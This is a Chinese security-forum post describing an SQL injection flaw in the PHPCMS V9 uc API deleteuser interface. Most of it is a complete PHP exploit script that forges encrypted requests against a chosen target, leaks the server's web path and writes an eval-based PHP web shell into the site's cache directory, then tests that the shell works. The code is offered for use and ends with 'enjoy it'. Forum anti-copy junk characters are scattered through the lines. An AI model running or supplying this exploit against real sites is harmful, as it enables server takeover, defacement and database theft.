中国网络渗透测试联盟

标题: PHPCMS V9 uc API SQL注入漏洞 [打印本页]

作者: admin    时间: 2013-2-9 01:22
标题: PHPCMS V9 uc API SQL注入漏洞
PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。
# v* C, a" c$ _6 q7 w* ^# l; C( P/ @. T( Z- s
所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。
2 R: y$ g" D2 B+ B$ Q" T* D! @' e( s6 V' i1 P# E
漏洞分析:3 q/ v! E3 B  ~, H- Z. m' ~
1.未启用ucenter服务的情况下uc_key为空; ^8 U3 W% q3 G& f1 f  [3 z
define('UC_KEY', pc_base::load_config('system', 'uc_key'));$ v6 X. |" _# e; I
2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。5 a. s& J& C0 d6 J* ^! N) @( ~! V
    public function deleteuser($get,$post) {
) V& Y  A( P: f/ n. @        pc_base::load_app_func('global', 'admin');) |: y# i, g( n
        pc_base::load_app_class('messagequeue', 'admin' , 0);$ c' K& N# X/ ^& X8 R
        $ids = new_stripslashes($get['ids']);
2 e) I% j' E$ t7 Y        $s = $this->member_db->select("ucuserid in ($ids)", "uid");
* A9 E9 \+ B4 t1 @, V0 A  |1 MSQL语句为6 c- ~# v6 E5 y; C
SELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)* O8 A7 w- ~5 a/ L

  ^# Z( t" N) T1 ^利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell
3 M* z6 V+ ~1 m* @<?php
/ T8 f% r! i: K8 K/ C4 r3 _print_r('
/ h) \# _( O5 j1 c, W, _0 o---------------------------------------------------------------------------
; @/ W: Y- i8 q& s+ u# u3 k2 SPHPcms (v9 or Old Version) uc api sql injection 0day) J. K7 t$ J2 z& K
by rayh4c#80sec.com7 }' E* v* B5 y5 f& ^/ ], d
---------------------------------------------------------------------------
% r; y$ {) x$ s5 `2 B3 t');3 T5 g2 R. |3 @- S6 v( V) ?
4 o1 n" k% ~8 i# J% ]3 ~3 r
if ($argc<3) {; u# V$ W0 p4 g5 ~. X
    print_r('; P9 W$ S/ z2 A3 e
---------------------------------------------------------------------------
" F  G: \' A9 [Usage: php '.$argv[0].' host path OPTIONS. ^2 }, m6 a' O2 c6 V! D% C: q3 h% q2 k
host:      target server (ip/hostname)9 {( q+ M% n9 J2 o. b  D- ~
path:      path to phpcms1 ^% o( N- p, E6 U3 W, R4 c
Options:
3 n. V* @4 x8 |% E0 O -p[port]:    specify a port other than 80( r9 W* a+ z+ F0 m& K
-P[ip:port]: specify a proxy
1 [2 C6 K3 v" L) fExample:
2 _. I$ y2 o6 ^% H+ aphp '.$argv[0].' localhost /
' U5 \6 u8 W. e6 gphp '.$argv[0].' localhost /phpcms/ -p81# R7 k0 p, X' F
php '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80
7 q6 K/ D* s2 @1 M; {3 J" N---------------------------------------------------------------------------0 Q" ^  M: I' y1 F6 W
');/ t2 Q/ J/ x  a/ e( P) y. {5 d' U
    die;
) Z, P: V3 F. c- O0 K  W1 t; q}5 `2 x9 Z6 q2 X; Z; y& \) ^& U9 y- d

& K6 d9 S. J7 p$ c# @( }error_reporting(7);
1 s& _2 V) J6 T. M! q7 e) O6 Eini_set("max_execution_time",0);( w6 H  g/ N3 ~2 F1 U8 W- b
ini_set("default_socket_timeout",5);: l9 k* L4 P1 t1 b: a7 ^0 @! g4 ^7 `

* c6 n) L2 P. h. Ifunction quick_dump($string)
: P  R+ X/ a% u/ u# I. _{0 _/ Y; K. ^: v: C# y; f
  $result='';$exa='';$cont=0;
% ?, O- r0 d% }/ G6 b  for ($i=0; $i<=strlen($string)-1; $i++)
7 k! R" Q) F: j" L! h6 k  {
# [/ P. D2 H% c/ K, [8 l" d6 J   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
$ S& }$ P+ a; |   {$result.="  .";}$ ~5 \" f7 I% r8 r  r/ V0 h+ f
   else5 X% `6 {3 N0 X0 V) ~
   {$result.="  ".$string[$i];}
: w  z$ h& ^8 |   if (strlen(dechex(ord($string[$i])))==2)
1 E% c8 S- \; {. @+ H/ ?  x   {$exa.=" ".dechex(ord($string[$i]));}
  f+ h$ x9 q7 H/ F3 A* j   else/ J' U. @% e5 b( [3 z3 h
   {$exa.=" 0".dechex(ord($string[$i]));}8 v( P! T9 \  G. b. F
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
; M' ^) ]6 f$ _0 s1 N% D' F6 J% @  Y' |  }' G; L' r+ p3 \+ c& F
return $exa."\r\n".$result;4 e& I, F* D4 t  k" _3 C1 {
}
$ G- H# ^( d9 d: o- v) ]$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';( R1 J' f6 Z: d( H. n8 R
$ S5 ]- ?) j( Z$ s) e$ `. B
function send($packet)9 g( y$ |3 ?# o- {' e
{0 Q' n6 W% F4 Q# x9 @3 _7 I$ p
  global $proxy, $host, $port, $html, $proxy_regex;; ]3 j' i, q/ \* z
  if ($proxy=='') {
2 @* n% n, Q( v# i: }9 k7 L    $ock=fsockopen(gethostbyname($host),$port);
, c* l: t, b' f$ M    if (!$ock) {, Q# M% f" N: Q4 z% }
      echo 'No response from '.$host.':'.$port; die;- X0 F! L4 G4 Q$ i$ f$ }
    }
9 |" c5 i& P! u8 {' W9 j3 U! S  }
6 {# S0 v1 y5 @" L8 g) C  P1 U; f  else {
3 U8 X/ q3 h' N- M! U6 d        $c = preg_match($proxy_regex,$proxy);
; Q5 F0 f5 a" s0 d. A1 F$ _    if (!$c) {
- q9 C2 H! Q. h% R3 M. u      echo 'Not a valid proxy...';die;1 m: f0 i: j  m7 ]# O- M
    }
4 C2 U" x3 z  v4 ?& ~    $parts=explode(':',$proxy);# O5 U2 k  `# s8 e4 A9 F% c
    $parts[1]=(int)$parts[1];
% G& M# U8 z3 d: b" d0 H' H2 ?    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
- b& y. b: ]) L$ }" _* }    $ock=fsockopen($parts[0],$parts[1]);
+ f- b7 M+ F) `4 c4 h. L; K    if (!$ock) {
& n+ J+ W' J! J( L      echo 'No response from proxy...';die;
" g* Z- A+ A7 j. [7 l7 I        }
! r2 ~5 N8 D$ o  }. C8 T4 l' }2 |( q/ y
  fputs($ock,$packet);. d- W/ s) R& Q6 A5 F2 ^  q/ v/ r0 b
  if ($proxy=='') {% F3 {) e4 T% u) _, w0 \' w4 A" @
    $html='';8 k2 E; k" N9 L
    while (!feof($ock)) {- G% D- z; G4 @; R( b4 @9 ~% k5 n! [
      $html.=fgets($ock);
7 }6 W5 J, r" L  ]# k    }
  K1 m. x/ l+ E4 b1 V" L' j* g  }
# q: j0 Y% ]1 d! ~  else {4 ?  M# ~) b. A
    $html='';
+ p6 @+ W/ a' p    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {1 k# f6 K- c0 r1 z  N# o
      $html.=fread($ock,1);
1 c6 N) c6 l/ G  i8 H    }( y) `5 ]+ I+ U2 q3 `
  }, Z5 Q/ L* C/ H  {8 |( G
  fclose($ock);- f4 y- M- k5 B9 T4 A8 q2 C4 G
}
2 ~' {( g, ?6 K) ?7 v3 D
8 u# b  A+ I+ S, G4 A/ O$host=$argv[1];. |2 C8 |. h1 G3 ~
$path=$argv[2];
4 v2 b) H, o- E- G3 Q: P- H$port=80;( s! F" `1 [0 q
$proxy="";' `/ @- @1 S8 ~- i; G
for ($i=3; $i<$argc; $i++){# _& M2 U1 }* N# J
$temp=$argv[$i][0].$argv[$i][1];$ O/ X4 B2 s( e* u) E8 t- F' y$ i
if ($temp=="-p")0 v5 _3 F. f6 m
{
, r" \; P5 m  m8 H  $port=(int)str_replace("-p","",$argv[$i]);
! \; i) E7 q- j' n}2 Z0 G5 o3 W7 z" s+ P
if ($temp=="-P")
1 L+ J" E2 `% d+ M{
8 t9 m: Y9 P% s( u# [; e- i# G' T  $proxy=str_replace("-P","",$argv[$i]);
" x5 t  R- c) T/ H}- y: S  F! A4 u1 V$ }( I; l
}
, x, n0 E! k4 A' C3 `8 Y) D* J. M. P; {4 s
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}4 X5 W1 U' F5 s. e* ?. x
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
) i" f/ L1 V  s3 {' J) I( u" J( i$ k: U4 i4 z
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {& O2 N* e; @1 r+ I& |0 g

/ w& d/ h; C* I5 }    $ckey_length = 4;
# K' t& g/ p- f+ L1 O1 @+ H' T* f8 A1 c2 q( }  K; d+ Z- K
    $key = md5($key ? $key : '');; Z! w# ?; S. X7 @5 n5 _. e  D
    $keya = md5(substr($key, 0, 16));0 n( `3 F' ?" J8 l
    $keyb = md5(substr($key, 16, 16));
) L% Z; S8 q) _2 Z5 W3 J    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
$ S0 z( d; H6 M( k# A$ u" v" V2 c# f9 |; t6 `0 E4 e) U
    $cryptkey = $keya.md5($keya.$keyc);" X& v: @2 e3 Q. w1 \( ?
    $key_length = strlen($cryptkey);2 v- E, ?: d; @8 w( a
- O- q; b8 q- ?$ v; P- k
    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
- b( Q& I- t& X3 d$ [    $string_length = strlen($string);
, S; i' d" h/ i% ?1 [9 A( N' D
" m" s$ ]1 r8 \* K$ {  O. l9 s* F7 @    $result = '';
' \! [9 I+ O5 e/ \4 a( r9 Q( `$ a    $box = range(0, 255);$ t+ |+ H2 q$ {* d1 A; E, ?1 f
" x8 B3 ?/ s) ]7 d% e+ B
    $rndkey = array();% k' V( `3 e2 t: C
    for($i = 0; $i <= 255; $i++) {
5 K6 D; Q- C7 d        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
4 a1 Y7 h3 B- V. Q# v    }
/ Y# ~9 {* J& T9 c
. m4 F4 h) L3 `    for($j = $i = 0; $i < 256; $i++) {
4 \2 V+ V2 f( H: @' Y; w- P        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
( u2 l7 G  [6 O        $tmp = $box[$i];
4 D# a5 L" Z2 I% s        $box[$i] = $box[$j];
  U* T( [2 d5 o: |        $box[$j] = $tmp;
8 @$ q- g5 v; m( H    }9 w! N: e6 S% ?$ P: B& w, s0 k

# }- D1 k3 k4 _, q2 ]8 s" l3 F+ a    for($a = $j = $i = 0; $i < $string_length; $i++) {( a/ E: s( A% V
        $a = ($a + 1) % 256;
9 Q5 k: W* E5 Z/ d3 `        $j = ($j + $box[$a]) % 256;
- X: {# Q$ S9 n3 d5 j        $tmp = $box[$a];
, A: k% L. E/ w* T/ Z' ^( ]9 D        $box[$a] = $box[$j];8 z0 B1 l5 V: H
        $box[$j] = $tmp;
; l7 a% H) D, G! Z2 C3 J; D( Z        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
: l# Q/ A* l* z: [0 X8 y* t    }
" I9 `$ S* i# A' z) t/ B6 H) A# o" a) b* h2 o6 U. n
    if($operation == 'DECODE') {
5 O1 h9 Q3 f/ t) L3 o5 @+ n( N        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
$ y2 l  P4 S5 h            return substr($result, 26);
' P# U6 T8 n! ~# y* N        } else {  z/ C: k3 a4 w
            return '';- ]6 i1 X" ~1 t3 Z* N) \# Z; T+ d
        }
+ I- V  N) ?7 K3 r% V* K+ e    } else {
# O# }% U/ N2 p, _        return $keyc.str_replace('=', '', base64_encode($result));
. G" F+ `* s# m% `    }
. ?. E' f/ p8 z; n0 _" J6 b
$ @  t' b! P4 W- W6 J}
/ z4 l7 \4 D) B2 l0 t, G( E
" ]8 h  }0 A, R; b# Z" }8 k9 H$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";6 L2 P% S! o' r& c* R# i9 {. v
$SQL = urlencode(authcode($SQL, "ENCODE", ""));
8 G3 s6 {% B1 N( ~: Z& a) R6 necho "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";( w6 e# P: q' s2 l$ \
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
1 g: m% k7 H0 ]/ f$packet.="User-Agent: Mozilla/5.0\r\n";3 R; B. A. `% |/ l; ?/ V3 T
$packet.="Host: ".$host."\r\n";
$ m) j6 H0 X4 L- x. o& ?/ ^$packet.="Connection: Close\r\n\r\n";% m+ o* `* C2 w; s1 N8 @% I
send($packet);
# v& ?2 x: [8 |6 eif(strpos($html,"MySQL Errno") > 0){& L; L" k; E8 F8 W
echo "[2] 发现存在SQL注入漏洞"."\n";# r9 W4 f8 Q- u
echo "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";% r' X! H, @) W
$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";- w& [3 H1 F3 X
$packet.="User-Agent: Mozilla/5.0\r\n";  a+ f0 x2 U& ]) l3 g) h  d/ }
$packet.="Host: ".$host."\r\n";5 Z( C9 x4 l! M$ ?# k7 Y
$packet.="Connection: Close\r\n\r\n";- l; \0 }/ l2 ]! j6 y0 Z2 ]. P
send($packet);& T2 H3 ]* Y  x' s$ S
preg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);
2 }1 W) _* E; d- C//print_r($matches);
+ C1 @. T! ^3 d* c( Rif(!empty($matches)){3 u0 b0 k9 J" N" N  R3 C
echo "[4] 得到web路径 " . $matches[0]."\n";2 E, q; c: Q6 ]9 {6 V
echo "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";
3 S" o8 A8 t: |( y$SQL = "time=999999999999999999999999&ids=1)";5 t* ]4 Q7 T7 P% w
$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";
( Z: e) x/ ?- Y7 `1 `8 E/ h7 V6 o$SQL.="&action=deleteuser";8 ?, D7 R2 K7 R! L( L9 F
$SQL = urlencode(authcode($SQL, "ENCODE", ""));
; d5 Y. F9 _- n4 {/ ]& V1 Kecho "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";4 r* f" e* u* S
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";7 F: h( K2 N9 O7 ?4 D1 M' C* @
$packet.="User-Agent: Mozilla/5.0\r\n";( e: u  }: w! [& k: K
$packet.="Host: ".$host."\r\n";) s' p7 O& J, e
$packet.="Connection: Close\r\n\r\n";7 e9 V) ~/ k* q5 O
send($packet);$ g: [$ X) b* R+ Z2 D* [
if(strpos($html,"Access denied") > 0){" M4 t, P. x8 x- G
echo "[-] MYSQL权限过低 禁止写入文件 ";, r# G# g; h9 a0 h" @* s5 H
die;; X9 m7 U7 C& g
}9 m' l4 @5 ]& o7 L0 i# q/ ]
echo "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";
  ]7 y$ _7 z; a1 R% R$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";; Q5 s  |2 {" C6 O$ C
$packet.="User-Agent: Mozilla/5.0\r\n";
6 U( W& z0 A; g0 \, ~% s$packet.="Host: ".$host."\r\n";$ E" X" e5 f* h8 G' J5 {6 f
$packet.="Connection: Close\r\n\r\n";2 A  F5 `# `: k: D
send($packet);
) i) M; a, c8 d7 J8 j5 ]if(strpos($html,"<title>phpinfo()</title>") > 0){
3 y: v; d; P; w( b- R1 A1 I' P& jecho "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";
. |+ w4 Y$ h1 X; X# a0 k$ a% m' t}
+ Q) K' Y9 A) F9 T" c  i" ]8 C/ d# w}else{
7 ?9 \! G) S$ p* Y- zecho "[-]未取到web路径 ";
/ b+ C; |9 `6 j* p! r* O}
. e- X' f+ ^5 C# k( B" @5 Y1 I}else{4 l0 l* f: L6 h8 ^
echo "[*]不存在SQL注入漏洞"."\n";
* N" X/ ~" @3 G- o! j; l- r}
" w/ t' L. c* L9 i0 B/ n$ \$ ^0 ]  t1 k1 W6 h* F3 v
?>
* w0 }5 F1 v+ ~. q2 Y1 M: q




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2